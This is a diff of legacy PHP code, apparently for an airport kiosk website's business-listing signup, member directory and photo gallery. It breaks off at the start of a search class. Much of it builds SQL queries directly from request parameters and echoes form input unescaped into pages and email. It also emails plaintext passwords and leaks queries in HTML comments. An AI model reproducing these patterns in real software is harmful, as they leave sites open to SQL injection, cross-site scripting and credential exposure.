+ $fields = implode( ",", $in_fields );
+ $values = "'".implode( "','", $in_vars )."'";
+ $values = str_replace( "'NULL'", "NULL",$values );
+
+ // Set to inactive and lockout
+ $fields .= ', inactive, lockout';
+ $values .= ', true, true';
+
+ $member_query = "insert into ".$this->table_name." ($fields) values ($values);";
+ //echo $member_query;
+ //exit();
+ $this->CDB->db_auto_exec( $member_query );
+
+ }
+ if( $this->email != '' )
+ {
+ //mail the contact info to mail address.
+ $body = '
+ <html>
+ <style type="text/css">
+ <!--
+ body { background-color: #fff;
+ color: black;
+ font-family: verdana, arial, helvetica, sans-serif;
+ }
+ h1, h2 {font-family: arial, helvetica, sans-serif;}
+ h1 {font-size: 18px; }
+ h2 {font-size: 16px; margin-bottom: 5px;}
+ p {font-size: 12px;}
+ .label {
+ font-weight: bold;
+ background-color: transparent;
+ text-align: right;
+ width: 200px;
+ padding: 5px;
+ }
+ .field {
+ //background-color: #F2F7FB;
+ background-color: #fff;
+ padding: 3px;
+ }
+ table.data {
+ //background-color: #F9FBFD;
+ background-color: #fff;
+ color: #000;
+ width: 500px;
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ border-collapse: collapse;
+ margin-left: 20px;
+ }
+ table.data td {
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ padding-left: 4px;
+ font-size: 12px;
+ }
+ -->
+ </style><body>
+
+ <h1>'.$this->subject.'</h1>
+ <h2>From '.(($_POST["fname"])?' '.$_POST["fname"].'':'').' '.(($_POST["lname"])?' '.$_POST["lname"].'':'').'</h2>
+ <h2>Information</h2>
+ <table class="data">
+ ';
+ if( $_POST['interest'] )
+ {
+ $interest = ereg_replace( "^:|:$","",$_POST['interest'] );
+ $_POST['interest'] = explode(":",$interest);
+ }
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value['type']=="radio")
+ {
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= ($_POST[$value['name']] == 't')?'Yes':'No';
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ elseif( $value['type'] == 'cc_date' )
+ {
+ $date_row = implode('/',$_POST[$value['name']]);
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= $date_row;
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ elseif( $value['type'] == 'date' )
+ {
+ $date_row = $_POST[$value['name'].'_month'].'-';
+ $date_row .= $_POST[$value['name'].'_day'].'-';
+ $date_row .= $_POST[$value['name'].'_year'];
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= $date_row;
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ elseif( $value['type'] == 'interest' && is_array($_POST['interest']) )
+ {
+ $body .= '
+ <tr><td class="label">Area of Interest:</td><td class="field">
+ ';
+ foreach( $_POST['interest'] as $pkk => $pvv )
+ {
+ $body .= $this->int_array[$pvv].'<br> ';
+ }
+ $body .= '
+ </td></tr>
+ ';
+ }
+ elseif( $value['name'] == 'cc_num' )
+ {
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= 'xxxx-xxxx-xxxx-'.substr($_POST[$value['name']],-4);
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ elseif($_POST[$value['name']] != '' && $value['name'] != 'verify_email' )
+ {
+ $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+ $body .= $_POST[$value['name']];
+ $body .= '</td></tr>';
+ $body .= "\n";
+ }
+ }
+ // need to strip the commas from the names if used in the headers
+ $_POST['fname'] = stripslashes(str_replace(",","",$_POST['fname']));
+ $_POST['fname'] = str_replace("\n","",$_POST['fname']);
+ $_POST['lname'] = stripslashes(str_replace(",","",$_POST['lname']));
+ $headers = "From: Pellston Airport Kiosk Website <".$this->email.">\n"
+ . "Reply-To: Pellston Airport Kiosk Website <".$this->email.">\n"
+ . "MIME-Version: 1.0\n"
+ . "Content-type: text/html; charset=iso-8859-1";
+
+ $body .= '
+ </table>
+ <div> </div><br clear="all">
+ </body>
+ </html>
+ ';
+ mail($this->email,$this->subject,$body,$headers);
+ $email = $_POST['proc_email'];
+ if( $email )
+ {
+ $body = '
+ <html>
+ <style type="text/css">
+ <!--
+ body { background-color: #fff;
+ color: black;
+ font-family: verdana, arial, helvetica, sans-serif;
+ }
+ h1, h2 {font-family: arial, helvetica, sans-serif;}
+ h1 {font-size: 18px; }
+ h2 {font-size: 16px; margin-bottom: 5px;}
+ p {font-size: 12px;}
+ .label {
+ font-weight: bold;
+ background-color: transparent;
+ text-align: right;
+ width: 200px;
+ padding: 5px;
+ }
+ .field {
+ //background-color: #F2F7FB;
+ background-color: #fff;
+ padding: 3px;
+ }
+ table.data {
+ //background-color: #F9FBFD;
+ background-color: #fff;
+ color: #000;
+ width: 500px;
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ border-collapse: collapse;
+ margin-left: 20px;
+ }
+ table.data td {
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ padding-left: 4px;
+ font-size: 12px;
+ }
+ -->
+ </style><body>
+ <p>
+ Thank you for adding your FREE Business Listing to the
+ Pellston Airport Kiosk and Web site. Your Business
+ Listing will expire one year from today\'s date. At
+ that time, you will receive an automatic email
+ notification prior to your expiration, reminding you
+ that you need to renew your listing!
+ </p>
+ <p>
+ You are able to manage your business listing at any time,
+ by using the following link and user id
+ and password that you created:
+ </p>
+ <p>
+ <a href="'.BASE_URL.'members-1000/">Members Only Area</a><br>
+ Your login information is <br>
+ Username: '.$_POST['user_id'].'<br>
+ Password: '.$_POST['user_pw'].' <br>
+ </p>
+ <p>
+ If you are interested in advertising on our Kiosk, Web
+ site or digital display, please review our
+ <a href="'.BASE_URL.'advertising-opportunities-15/">
+ Advertising Opportunities
+ </a>
+ </p>
+ <p>
+ Sincerely,<br>
+ Pellston Regional Airport<br>
+ </p>
+ </body>
+ </html>';
+ mail(
+ $_POST['proc_email'],
+ "Your Business Listing at www.pellstonairport.com Kiosk",
+ $body,
+ $headers
+ );
+ }
+ }
+ echo '<div style="font-size:14px; margin: 20px;">
+ <p>Thank you for participating in the Pellston Regional Airport Kiosk and Web
+site presence. The support of our local businesses within our communities
+is vital to the continuing growth of our airport</p>
+ <p>You will receive a follow up email with a link to the Registered User area,
+your login and password. Please keep this email handy for future updates
+you may want to make to your Business listing.</p>
+ <p></p>
+ <p></p>
+ </div>';
+// }
+// else
+// {
+// if( stristr( $this->CC_Auth->auth_return, 'expired' ) )
+// {
+// $error['cc_expire'] = $this->CC_Auth->auth_return;
+// }
+// else
+// {
+// $error['cc_num'] = $this->CC_Auth->auth_return;
+// }
+// return( $error );
+// }
+ }
+}
+?>
--- /dev/null
+<?php
+ /**
+ * glm_members
+ *
+ * @uses GLM
+ * @uses _TOOLBOX
+ * @package
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @license
+ */
+ class glm_members extends GLM_TOOLBOX
+ {
+ /**
+ * catid
+ * Toolbox catid
+ *
+ * @var mixed
+ * @access public
+ */
+ var $catid;
+ /**
+ * toolbox
+ * reference to toolbox object
+ *
+ * @var mixed
+ * @access public
+ */
+ var $toolbox;
+ /**
+ * DB
+ * reference to DB object
+ *
+ * @var mixed
+ * @access public
+ */
+ var $DB;
+ /**
+ * memb_toolbox
+ *
+ * @var mixed
+ * @access public
+ */
+ var $memb_toolbox;
+ /**
+ * member_sections
+ *
+ * @var mixed
+ * @access public
+ */
+ var $member_sections;
+ /**
+ * glm_members
+ *
+ * @param mixed $toolbox
+ * @access public
+ * @return string
+ */
+ function glm_members( $toolbox )
+ {
+ $this->toolbox =& $toolbox;
+ $this->catid = $toolbox->catid;
+ $this->DB =& $toolbox->DB;
+ $this->member_sections = array(
+ 5=>'Dining',
+ 4=>'Services',
+ 6=>'Area Lodging',
+ 7=>'Area Info',
+ 8=>'Transportation',
+ 9=>'Attractions',
+ 18=>'Aircraft Charter',
+ );
+ $this->set_member_bool();
+ $this->memb_toolbox = $this->memb_toolbox_array();
+ }
+
+ function print_ancestors( $type, $type_id, $id )
+ {
+ if( $type == 'city' )
+ {
+ if( $this->memb_toolbox[$this->catid] )
+ {
+ $query = "select id,name from memb_type where id = ".$this->memb_toolbox[$this->catid];
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ echo '<pre>';
+ print_r( $data );
+ echo '</pre>';
+ }
+ }
+ $outarray[] = '<a href="'.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+ $outarray[] = '<a href="'.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+
+ }
+ else
+ {
+
+ }
+ if( is_array( $outarray ) && count( $outarray ) > 1 )
+ {
+ $out .= implode( " » ", $outarray );
+ }
+ return( '<div id="breadcrumbs">'.$out.'</div>' );
+ }
+ /**
+ * display_members
+ *
+ * @param mixed $data
+ * @access public
+ * @return string
+ */
+ function display_members($data)
+ {
+ if(is_array($data))
+ {
+ echo '';
+ // echo '<br>';
+ foreach($data as $key=>$value)
+ {
+ unset($bool_ar);
+ unset($boolean);
+ if($value['url'] != "")
+ {
+ $name = '<b><a target="_blank"
+href="http://'.$value[url].'">'.$value["name"].'</a></b><br>';
+ }
+ else
+ {
+ $name = '<b>'.$value["name"].'</b><br>';
+ }
+ $id = $value['id'];
+ $description = '<br>'.nl2br(myEncode($value["descr"]));
+ $image = ($value['image1'] != "") ? '<img src="'.MIDSIZED.$value["image1"].'"
+class="list-img">': '';
+ $image2 = ($value['image2'] != "") ? '<br clear="all"><img src="'.MIDSIZED.$value["image2"].'" align="left">': '';
+ $image3 = ($value['image3'] != "") ? '<br clear="all"><img src="'.MIDSIZED.$value["image3"].'" align="right">': '';
+ $address = ($value['address']) ? $this->toolbox->set_address($data[$key]).'': '';
+ $phone = ($value['phone']) ? $this->toolbox->set_phone($value["phone"]).'' : '';
+ $email = ($value['email']) ? $this->toolbox->set_email($value["email"],$value["email"]).'' : '';
+ $toll_free = ($value['toll_free']) ? '<b>Toll Free:</b> '.$this->toolbox->set_text($value["toll_free"]).'' : '';
+ $fax = ($value['fax']) ? $this->toolbox->set_fax($value["fax"]).'' : '' ;
+ if(is_array($this->memb_bool))
+ {
+ foreach($this->memb_bool as $memkey=>$memval)
+ {
+ if($value[$memval] == 't')
+ $bool_ar[] = $memkey;
+ }
+ }
+ unset($cc);
+ if($value["credit_cards"]&1)
+ {
+ $cc[] = "Visa";
+ }
+ if($value["credit_cards"]&2)
+ {
+ $cc[] = "Master Card";
+ }
+ if($value["credit_cards"]&4)
+ {
+ $cc[] = "Discover";
+ }
+ if($value["credit_cards"]&8)
+ {
+ $cc[] = "American Express";
+ }
+ if($value["credit_cards"]&16)
+ {
+ $cc[] = "Diner's Card";
+ }
+ $credit_cards = "";
+ $credit_cards = (is_array($cc)) ? '<br><b>Credit Cards Accepted</b> '.implode(",",$cc):'';
+ $season = ($value["season"]) ? '<br><b>Season:</b> '.$value["season"] :'';
+
+ // if($image2 != '' || $image3 != '')
+ //{
+ if( $_GET['city'] )
+ {
+ $city = urlencode( strip_tags( $_GET['city'] ) ).'/';
+ $link = '<a class="details" href="'.$this->toolbox->get_seo_url(
+$this->toolbox->catid ).$city.$id.'/">Click here for more information</a>';
+ }
+ elseif( $_GET['memb_type'] )
+ {
+ $memb_type = $_GET['memb_type'].'/';
+ $link = '<a class="details" href="'.$this->toolbox->get_seo_url(
+$this->toolbox->catid ).$memb_type.$id.'/">Click here for more information</a>';
+ }
+ else
+ {
+ $link = '<a class="details" href="'.$this->toolbox->get_seo_url(
+$this->toolbox->catid ).$id.'/">Click here for more information</a>';
+ }
+ // }
+ // else
+ // {
+ // $link = '';
+ // }
+ $boolean = (is_array($bool_ar)) ? '<br><br><b>Amenities</b> '.implode(" - ",$bool_ar) : '';
+ echo '<div class="clearer" style="padding-top: 0.5em;"></div><p
+class="text">';
+ echo $image;
+ echo $name;
+ echo $address;
+ echo $phone;
+ echo $email;
+ echo $toll_free;
+ echo $fax;
+ echo $description;
+ echo $boolean;
+ echo $season;
+ echo $credit_cards;
+ echo $link;
+ echo '</p><div class="clearer"></div><hr>';
+ }
+ }
+ }
+ /**
+ * get_city_list
+ *
+ * @param mixed $catid
+ * @access public
+ * @return string
+ */
+ function get_city_list( $catid )
+ {
+ $out = '';
+ if( $memb_types = $this->memb_toolbox[$catid] )
+ {
+ $query = "select distinct city from member where inactive = 'f' and memb_type in (".implode(",",$memb_types).") order by city;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ $out .= '<div id="cat-list">
+ ';
+ foreach( $data as $row )
+ {
+ $city = urlencode( strip_tags( $row['city'] ) );
+ $out .= '<a href="'.$this->toolbox->get_seo_url( $catid ).$city.'/" class="cat-list-item">'.$row["city"].'</a>';
+ }
+ $out .= '</div>
+ ';
+ }
+ }
+ return( $out );
+ }
+ function get_services_list( $id )
+ {
+ static $memb_types;
+ $out = '';
+ if( !is_array( $memb_types ) )
+ {
+ $query = "select memb_type.id,memb_type.name from memb_type right outer join member on (member.memb_type = memb_type.id) where memb_type.id in (".implode(",",$this->memb_toolbox[$id]).") group by memb_type.name,memb_type.id;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ foreach( $data as $row )
+ {
+ $memb_types[$row['id']] = $row['name'];
+ }
+ }
+ }
+ echo '<!--<pre>';
+ print_r($memb_types);
+ echo '</pre>-->';
+ if( is_array( $this->memb_toolbox[$id] ) )
+ {
+ $out .= '<div id="cat-list">
+ ';
+ foreach( $this->memb_toolbox[$id] as $memb_type_id )
+ {
+ if( !$memb_types[$memb_type_id] )
+ {
+ continue;
+ }
+ $city = urlencode( strip_tags( $memb_types[$memb_type_id] ) );
+ $out .= '<a href="'.$this->toolbox->get_seo_url( $id ).$memb_type_id.'/" class="cat-list-item">'.$memb_types[$memb_type_id].'</a>';
+ }
+ $out .= '</div>
+ ';
+ }
+ return( $out );
+ }
+ function get_sub_list( $catid )
+ {
+ $out = '';
+ $query = "select id,category from bus_category where active = 't' and parent = $catid order by pos;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ $out .= '<div id="cat-list">
+ ';
+ foreach( $data as $row )
+ {
+ $out .= '<a href="'.$this->toolbox->get_seo_url( $row['id'] ).'" class="cat-list-item">'.$row["category"].'</a>
+ ';
+ }
+ $out .= '</div>
+ ';
+ }
+ return( $out );
+ }
+ /**
+ * get_member_records
+ *
+ * @access public
+ * @return string
+ */
+ function get_member_records()
+ {
+ $out = '<h1>'.$this->member_sections[$this->catid].'</h1>';
+ // echo '<pre>';
+ // print_r( $_GET );
+ // echo '</pre>';
+ // if( !$_GET['memb_type'] && !$_GET['city'] )
+ // {
+ if( in_array( $this->catid, array( 5,6,9 ) ) )
+ {
+ $out .= $this->get_city_list( $this->catid );
+ }
+ elseif( in_array( $this->catid, array( 8,18 ) ) )
+ {
+ $out .= '';
+ }
+ elseif( in_array( $this->catid, array( 4,7 ) ) )
+ {
+ $out .= $this->get_services_list( $this->catid );
+ }
+ else
+ {
+ $out .= $this->get_sub_list( $this->catid );
+ }
+ // }
+ // else
+ if( $_GET['memb_type'] || $_GET['city'] )
+ {
+ if( $_GET['memb_type'] )
+ {
+ $_POST['prop_type'] = $_GET['memb_type'];
+ $out .= $this->display_member_section();
+ }
+ if( $_GET['city'] )
+ {
+ $_POST['city'] = $_GET['city'];
+ $out .= $this->display_member_section();
+ }
+ }
+ return( $out );
+ }
+ /**
+ * display_member_section
+ *
+ * @access public
+ * @return string
+ */
+ function display_member_section()
+ {
+ ob_start();
+ switch( $this->catid )
+ {
+ case 6:
+ if( $_GET['prop_type'] )
+ {
+ $_POST['prop_type'] = $_GET['prop_type'];
+ }
+ if( $_POST || $_GET['id'] )
+ {
+ if( $_GET['id'] )
+ {
+ $data = $this->getMember( $_GET['id'] );
+ $this->displayMember( $data );
+ }
+ else
+ {
+ $data = $this->get_members( $_GET );
+ $this->display_members( $data );
+ }
+ }
+ else
+ {
+ include(BASE."static/accom_search_form.inc");
+ }
+ break;
+ default:
+ $params["memb_type"] = $this->memb_toolbox[$this->catid];
+ if( $_GET['id'] )
+ {
+ $data = $this->getMember( $_GET['id'] );
+ $this->displayMember( $data );
+ }
+ else
+ {
+ $data = $this->get_members( $params );
+ $this->display_members( $data );
+ }
+ break;
+ }
+ $out .= ob_get_contents();
+ ob_end_clean();
+ return( $out );
+ }
+ /**
+ * getMember
+ *
+ * @param mixed $id
+ * @access public
+ * @return string
+ */
+ function getMember($id)
+ {
+ if(!is_numeric($id))
+ return(false);
+ $query = "SELECT * FROM member WHERE inactive = 'f' and id = $id";
+ //echo $query;
+ $data = $this->DB->db_auto_get_data($query);
+ return($data);
+ }
+ /**
+ * memb_toolbox_array
+ *
+ * @access public
+ * @return string
+ */
+ function memb_toolbox_array()
+ {
+ static $memb_toolbox;
+ if( !is_array( $memb_toolbox ) )
+ {
+ $memb_toolbox[8] = array(10); // Transportation
+ $memb_toolbox[9] = array(8,9,12); // Attractions
+ $memb_toolbox[4] = array(3,4,5,6,7); // services
+ $memb_toolbox[5] = array(11); // Dining
+ $memb_toolbox[6] = array(1); // Lodging
+ $memb_toolbox[7] = array(2,13); // Area Info
+ $memb_toolbox[18] = array(45); // Aircraft Charter
+ }
+ return( $memb_toolbox );
+ }
+ /**
+ * get_members
+ *
+ * @param mixed $vars
+ * @access public
+ * @return string
+ */
+ function get_members($vars)
+ {
+ extract($vars);
+ if( $_GET['memb_type'] )
+ {
+ $memb_type = $_GET['memb_type'];
+ }
+ else
+ {
+ $memb_type = $this->memb_toolbox[$this->catid];
+ }
+ $query = "SELECT * FROM member WHERE inactive = 'f' and name is not null";
+ if($prop_type != "" && $prop_type != '1' )
+ {
+ $query .= " AND prop_type = $prop_type";
+ }
+ if($name != "")
+ {
+ $query .= " AND name ILIKE '%$name%'";
+ }
+ if( $_GET['city'] && $_GET['city'] != 'Transportation' && $_GET['city'] != 'Aircraft Charter')
+ {
+ $query .= " AND city = '".$_GET['city']."'";
+ }
+ elseif( $city == 'Transportation' )
+ {
+ $query .= " AND memb_type = 10";
+ }
+ elseif( $city == 'Aircraft Charter' )
+ {
+ $query .= " AND memb_type = 45";
+ }
+ if( is_array( $memb_type ) )
+ {
+ $query .= " AND memb_type in (".implode(",",$memb_type).")";
+ }
+ elseif($memb_type != "")
+ {
+ $query .= " AND memb_type = $memb_type";
+ }
+ if(is_array($bool_type))
+ {
+ foreach($bool_type as $bkey=>$bval)
+ {
+ $query .= " AND $bval = 't'";
+ }
+ }
+ $query .= " ORDER BY name";
+ echo '<!--<pre>';
+ print_r($_POST);
+ echo '</pre>-->';
+ echo '<!--'.$query.'-->';
+ $data = $this->DB->db_auto_get_data($query);
+ return($data);
+ }
+ /**
+ * set_member_bool
+ *
+ * @access public
+ * @return string
+ */
+ function set_member_bool()
+ {
+ $bool["Indoor Pool"] = "indoor_pool";
+ $bool["Outdoor Pool"] = "outdoor_pool";
+ $bool["Whirlpool Spa"] = "whirlpool";
+ $bool["Exercise Room"] = "exercise";
+ $bool["Conference"] = "conference";
+ $bool["Meeting Room"] = "meeting";
+ $bool["Restaurant"] = "restaurant";
+ $bool["Breakfast"] = "breakfast";
+ $bool["Lunch"] = "lunch";
+ $bool["Dinner"] = "dinner";
+ $bool["Cocktails"] = "cocktails";
+ $bool["Entertainment"] = "entertainment";
+ $bool["TV"] = "tv";
+ $bool["Cable"] = "cable";
+ $bool["Movies"] = "movies";
+ $bool["Barrier Free"] = "barrierfree";
+ $bool["Restaurant Nearby"] = "restnear";
+ $bool["Smoke Free Rooms"] = "smokefree";
+ $bool["In Room Spas"] = "sauna";
+ $bool["Pets Allowed"] = "pets";
+ $bool["On The Water"] = "waterfront";
+ $bool["Water View"] = "waterview";
+ $bool["Package"] = "packages";
+ $bool["Snowmobile Trail"] = "snowmobile_tr";
+ $bool["Efficiencies"] = "efficiencies";
+ $this->memb_bool = $bool;
+ }
+ /**
+ * displayMember
+ *
+ * @param mixed $data
+ * @access public
+ * @return string
+ */
+ function displayMember($data)
+ {
+ if(is_array($data))
+ {
+ echo '<br>';
+ echo '<br><a name="item"></a>';
+ foreach($data as $key=>$value)
+ {
+ unset($bool_ar);
+ unset($boolean);
+ if($value['url'] != "")
+ $name = '<h3><a target=_blank""
+href="http://'.$value[url].'">'.$value["name"].'</a></h3>';
+ else
+ $name = '<b>'.$value["name"].'</b><br>';
+ $description = '<br><br>'.nl2br(myEncode($this->toolbox->set_text($value["descr"]))).'<br><br>';
+ $image = ($value['image1'] != "") ? '<img src="'.MIDSIZED.$value["image1"].'">': '';
+ if(is_file(MIDSIZED_PATH.$value['image1']))
+ {
+ $size = @getimagesize(MIDSIZED_PATH.$value['image1']);
+ $width = $size[0];
+ }
+ else
+ {
+ $width = 200;
+ }
+
+ if($value['image_text1'] && !$image)
+ {
+ $image_text = '<br>'.$this->toolbox->set_text($value["image_text1"]).'<br>';
+ }
+ elseif($value['image_text1'] != "")
+ {
+ $image = '<div style="float:right;margin:5px;width:'.$width.';">'.$image
+ .'<br>'.$this->toolbox->set_text($value["image_text1"]).'</div>';
+ $image_text = '';
+ }
+ else
+ {
+ $image = '<div style="float:right;margin:5px;">'.$image.'</div>';
+ $image_text = '';
+ }
+ if(is_file(RESIZED_PATH.$value['image2']))
+ {
+ $size = @getimagesize(RESIZED_PATH.$value['image2']);
+ $width = $size[0];
+ }
+ else
+ {
+ $width = 200;
+ }
+ $image2 = ($value['image2'] != "") ? '<br><img src="'.RESIZED.$value["image2"].'">': '';
+ $image3 = ($value['image3'] != "") ? '<br><img src="'.RESIZED.$value["image3"].'">': '';
+
+ if($value['image_text2'] && !$image2)
+ {
+ $image_text2 = '<br>'.$this->toolbox->set_text($value["image_text2"]).'<br>';
+ }
+ elseif($value['image_text2'] != "")
+ {
+ $image2 = '<div style="float:left;margin:5px;width:265px;overflow: hidden;">'.$image2
+ .'<br>'.$this->toolbox->set_text($value["image_text2"]).'</div>';
+ $image_text2 = '';
+ }
+ else
+ {
+ $image2 = '<div style="float:left;margin:5px;265px;position: relative;">'.$image2.'</div>';
+ $image_text2 = '';
+ }
+
+ if(is_file(RESIZED_PATH.$value['image3']))
+ {
+ $size = @getimagesize(RESIZED_PATH.$value['image3']);
+ $width = $size[0];
+ }
+ else
+ {
+ $width = 200;
+ }
+ if($value['image_text3'] && !$image3)
+ {
+ $image_text3 = '<br>'.$this->toolbox->set_text($value["image_text3"]).'<br>';
+ }
+ elseif($value['image_text3'] != "")
+ {
+ $image3 = '<div style="float:right;margin:5px;width: 265px; position: relative;overflow: hidden;">'.$image3
+ .'<br>'.$this->toolbox->set_text($value["image_text3"]).'</div>';
+ $image_text3 = '';
+ }
+ else
+ {
+ $image3 = '<div style="float:right;margin:5px; width: 265px; position: relative;">'.$image3.'</div>';
+ $image_text3 = '';
+ }
+
+ $address = ($value['address']) ? $this->toolbox->set_address($data[$key]).'<br>': '';
+ $phone = ($value['phone']) ? $this->toolbox->set_phone($value["phone"]).'' : '';
+ $email = ($value['email']) ? $this->toolbox->set_email($value["email"],$value["email"]).'' : '';
+ $toll_free = ($value['toll_free']) ? '<b>Toll
+Free: </b>'.$this->toolbox->set_text($value["toll_free"]).'' : '';
+ $fax = ($value['fax']) ? $this->toolbox->set_fax($value["fax"]).'' : '' ;
+ if(is_array($this->memb_bool))
+ {
+ foreach($this->memb_bool as $memkey=>$memval)
+ {
+ if($value[$memval] == 't')
+ $bool_ar[] = $memkey;
+ }
+ }
+ unset($cc);
+ if($value["credit_cards"]&1)
+ $cc[] = "Visa";
+ if($value["credit_cards"]&2)
+ $cc[] = "Master Card";
+ if($value["credit_cards"]&4)
+ $cc[] = "Discover";
+ if($value["credit_cards"]&8)
+ $cc[] = "American Express";
+ if($value["credit_cards"]&16)
+ $cc[] = "Diner's Card";
+ $credit_cards = "";
+ $credit_cards = (is_array($cc)) ? '<br><b>Credit Cards Accepted: </b>
+'.implode(",",$cc):'';
+ $season = ($value["season"]) ? '<br><b>Season:</b> '.$value["season"] :'';
+
+ $boolean = (is_array($bool_ar)) ? '<br><b>Amenities</b> '.implode(" - ",$bool_ar) : '';
+ printf("<p class=\"text\">%s %s %s %s %s %s %s %s %s %s %s %s %s %s
+ %s %s</p><br clear=\"all\"><hr>",
+ $image,
+ $name,
+ $address,
+ $phone,
+ $email,
+ $toll_free,
+ $fax,
+ $description.'<br clear="all">',
+ $image_text,
+ $image2,
+ $image_text2,
+ $image3,
+ $image_text3.'<br clear="all">',
+ $boolean,
+ $season,
+ $credit_cards);
+ $umQuery = "update member set hits = hits + 1 where id = ".$value['id'];
+ $this->DB->db_auto_exec($umQuery);
+ }
+ }
+ }
+ }
+?>
--- /dev/null
+<?php
+/**
+ * Photo Class :)
+ *
+ * <p>
+ * For gallery of images from the Toolbox
+ * </p>
+ *
+ * @package Toolbox
+ * @subpackage Photo
+ * @filesource
+ *
+ */
+/**
+ * Require DocBlock
+ */
+require_once(BASE.'classes/class_db.inc');
+/**
+ * Require DocBlock
+ */
+require_once(BASE.'classes/class_template.inc');
+/**
+ * Photo Class :)
+ *
+ * <p>
+ * For gallery of images from the Toolbox
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @category Photo
+ * @author $Author: cscott $
+ * @copyright 2005
+ * @version $Revision: 1.1.1.1 $
+ * @since $Date: 2006/05/01 16:46:16 $
+ *
+*/
+class GLM_PHOTOS extends GLM_TEMPLATE{
+ /**
+ @var integer $pcatid the photo category id number */
+ var $pcatid;
+ /**
+ @var integer cols the number of photo to display across in columns */
+ var $cols;
+ /**
+ * GLM_PHOTOS: constructor of the class
+ *
+ * @return void
+ * @access public
+ **/
+ function GLM_PHOTOS()
+ {
+ parent::GLM_TEMPLATE(NULL);
+ $this->cols = 4;
+ }
+
+ /**
+ * get_photo_cats: get the photo categories for this catid
+ * @param $catid: the parent id of the photo catid
+ *
+ * @return string $output
+ * @access public
+ **/
+ function getPhotoCats()
+ {
+ $output = '';
+ $output .= '<p>Click an image to enter a Photo Gallery</p>';
+
+ $query = "SELECT * FROM photo_category order by pos;";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $count = 0;
+ foreach($data as $key=>$value)
+ {
+ if($value['image'])
+ {
+ $output .= '<div class="thumb"><div class="photocattitle">'.$value["category"].'</div><a href="'.BASE_URL.'photo.phtml?catid='.$value["id"].'"><img src="'.PHOTO_SMALL_URL.$value["image"].'" alt="'.htmlspecialchars(strip_tags($value["image"])).'"></a></div>';
+ }
+ if( ++$count == $this->cols )
+ $output .= '<div class="clearer"></div>';
+ }
+ }
+ return($output);
+ }
+
+ /**
+ * get_photos: get the photo items for the catid
+ * @param $catid: the photo catid
+ *
+ * @return string $output
+ * @access public
+ **/
+ function getPhotos($catid)
+ {
+ $output = '';
+ $query = "SELECT * FROM photo_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ if($data[0]['category'])
+ {
+ $output .= '<h1>'.$data[0]["category"].'</h1>
+ ';
+ }
+ }
+
+ $query2 = "SELECT id,title,image FROM photo WHERE catid = $catid order by pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $output .= '<p>Click an image to enlarge</p>
+ <div id="photo-gallery">
+ ';
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ $image_name = htmlspecialchars(strip_tags($value["title"]));
+ $img_size = getImageSize( PHOTO_SMALL_DIR.$value['image'] );
+
+ $output .= '
+ <div class="thumb">
+ <a href="'.BASE_URL.'photo.phtml?catid='.$catid.'&id='.$value["id"].'">
+ <img src="'.PHOTO_SMALL_URL.$value["image"].'" '.$img_size[3].' alt="'.$image_name.'"></a>
+ <div class="phototitle">'.$image_name.'</div>
+ </div>
+ ';
+ }
+ if( ++$count == $this->cols )
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ $output .= '<br clear="all">
+ </div>';
+ }
+ return($output);
+ }
+
+ function viewPhoto( $catid, $id )
+ {
+ $output = '';
+ $query = "SELECT * FROM photo_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ $output .= '
+ <div id="largeimage">
+ ';
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ if($value['category'])
+ {
+ $output .= '<div class="clearer"></div><div class="clearer"></div><div class="large-link"><a href="'.BASE_URL.'photo.phtml?catid='.$value["id"].'">Back to '.$value["category"].'</a></div>';
+ }
+ }
+ }
+ $query2 = "SELECT id,title,image FROM photo WHERE id = $id;";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ $image_name = htmlspecialchars(strip_tags($value["title"]));
+
+ $output .= '
+ <div class="large-name">'.$image_name.'</div>
+ <div class="large-image"><img src="'.PHOTO_LARGE_URL.$value["image"].'" alt="'.$image_name.'">
+ </div> ';
+ }
+ }
+ }
+ $output .= '</div>';
+ $output .= $this->getPhotos( $catid );
+ return($output);
+ }
+}
+?>
--- /dev/null
+<?php
+/**
+ * <p>seach glm-search engine for the category/business_listing
+ * This class was made to provide a search page for
+ * our event,business_listing,newsletter databases</p>
+ *
+ * @package Toolbox
+ * @subpackage Search
+ * @filesource
+ */
+/**
+ * <p>seach glm-search engine for the category/business_listing
+ * This class was made to provide a search page for
+ * our event,business_listing,newsletter databases</p>
+ *
+ * @package Toolbox
+ * @subpackage Search
+ * @category Search
+ * @author Steve Sutton
+ * @version $Revision: 1.1.1.1 $
